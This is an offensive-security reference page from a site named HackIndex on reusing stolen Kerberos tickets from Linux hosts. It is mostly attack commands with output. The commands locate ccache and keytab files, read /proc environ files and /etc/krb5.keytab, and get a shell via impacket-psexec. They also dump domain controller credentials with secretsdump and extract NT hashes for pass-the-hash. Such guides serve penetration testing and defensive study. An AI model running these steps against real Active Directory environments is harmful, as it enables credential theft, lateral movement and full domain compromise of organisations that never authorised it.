Skip to content
HackIndex logo

HackIndex

Kerberos Ticket Reuse from Linux

4 min read Jul 10, 2026

Domain-joined Linux hosts maintain Kerberos ticket caches that can be stolen and reused to authenticate to Active Directory services — SMB shares, MSSQL, HTTP services, and other Kerberos-integrated resources — without knowing any password. Keytab files go further: they contain the encrypted key material needed to request fresh tickets at any time.

This page covers locating, validating, and using ccache files and keytabs found on a Linux host. Detecting whether a host is domain-joined and finding these files is covered in the post-exploitation section.

Confirming Kerberos Configuration

┌──(kali㉿kali)-[~]
└─$ cat /etc/krb5.conf

The default_realm field gives you the domain name. The kdc entries point to the domain controller. Both are needed for tool configuration.

┌──(kali㉿kali)-[~]
└─$ klist

If klist returns ticket information, the current session already has a valid TGT. If it returns No credentials cache found, you need to load one.

Finding ccache Files

Ticket caches are stored in files or memory-backed locations:

┌──(kali㉿kali)-[~]
└─$ find /tmp /run /var/tmp -name "krb5cc_*" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp -name "ccache" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /tmp/krb5cc_*

Also check the environment for a non-default cache location:

┌──(kali㉿kali)-[~]
└─$ echo $KRB5CCNAME
┌──(kali㉿kali)-[~]
└─$ grep -r KRB5CCNAME /proc/*/environ 2>/dev/null

Inspecting a ccache File

Before using a cache, check its contents and expiry:

┌──(kali㉿kali)-[~]
└─$ klist -c /tmp/krb5cc_1000 
Credentials cache: FILE:/tmp/krb5cc_1000
        Principal: [email protected]

Issued                Expires               Principal
Mar 14 08:23:01 2024  Mar 14 18:23:01 2024  krbtgt/[email protected]
Mar 14 08:23:05 2024  Mar 14 18:23:05 2024  cifs/[email protected]

A TGT (krbtgt/) that has not expired is usable. Service tickets (cifs/, http/, mssql/) are for specific services. An expired TGT cannot be renewed without the original credentials, but you can still use valid service tickets until they expire.

Using a ccache for Lateral Movement

Set KRB5CCNAME to point at the stolen cache, then use Impacket tools to authenticate:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/krb5cc_1000

List SMB shares on a domain host:

┌──(kali㉿kali)-[~]
└─$ impacket-smbclient -k -no-pass $DOMAIN/$USER@fileserver.$DOMAIN

Get a shell via SMB:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec -k -no-pass $DOMAIN/$USER@TARGET.$DOMAIN

Connect to MSSQL:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient -k $DOMAIN/$USER@mssql.$DOMAIN

-k tells Impacket to use Kerberos authentication. -no-pass skips the password prompt and uses the ccache.

For SMB access with nxc:

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=/tmp/krb5cc_1000 nxc smb $TARGET_IP -u $USER -k --no-pass

Finding and Using Keytab Files

Keytabs contain the account's long-term key and can generate fresh tickets at any time — they do not expire like ccache files.

┌──(kali㉿kali)-[~]
└─$ find / -name "*.keytab" -o -name "*.kt" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc /opt /var /home -name "krb5.keytab" 2>/dev/null

Common locations:

  • /etc/krb5.keytab — machine account keytab, readable by root

  • /etc/security/*.keytab — service account keytabs

  • /opt/*/conf/*.keytab — application service keytabs (Tomcat, Hadoop, Kafka)

Inspect a keytab:

┌──(kali㉿kali)-[~]
└─$ klist -k /etc/krb5.keytab 
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
   2 host/[email protected]
   2 HTTP/[email protected]

Request a TGT using the keytab:

┌──(kali㉿kali)-[~]
└─$ kinit -k -t /etc/krb5.keytab host/webserver.$DOMAIN
┌──(kali㉿kali)-[~]
└─$ klist

Once you have a TGT, use it with Impacket tools as shown above. The machine account keytab (host/) gives you a computer account TGT — useful for querying AD and accessing resources the computer account has rights to.

Pass the Ticket with Impacket

If you have a ccache file from a high-value account — a service account, domain admin, or DA — use it directly:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/stolen_admin.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass $DOMAIN/Administrator@DC.$DOMAIN

This dumps credentials from the domain controller using the stolen ticket. For the full pass-the-ticket and lateral movement workflow, see Pass the Hash and Pass the Ticket and AD Remote Execution.

Extracting the Hash from a Keytab

The key material inside a keytab is the NT hash equivalent for the account. Extract it with:

┌──(kali㉿kali)-[~]
└─$ python3 /usr/share/doc/python3-impacket/examples/KeyTabExtract.py /etc/krb5.keytab

The extracted NT hash can be used for pass-the-hash attacks against Windows services.

References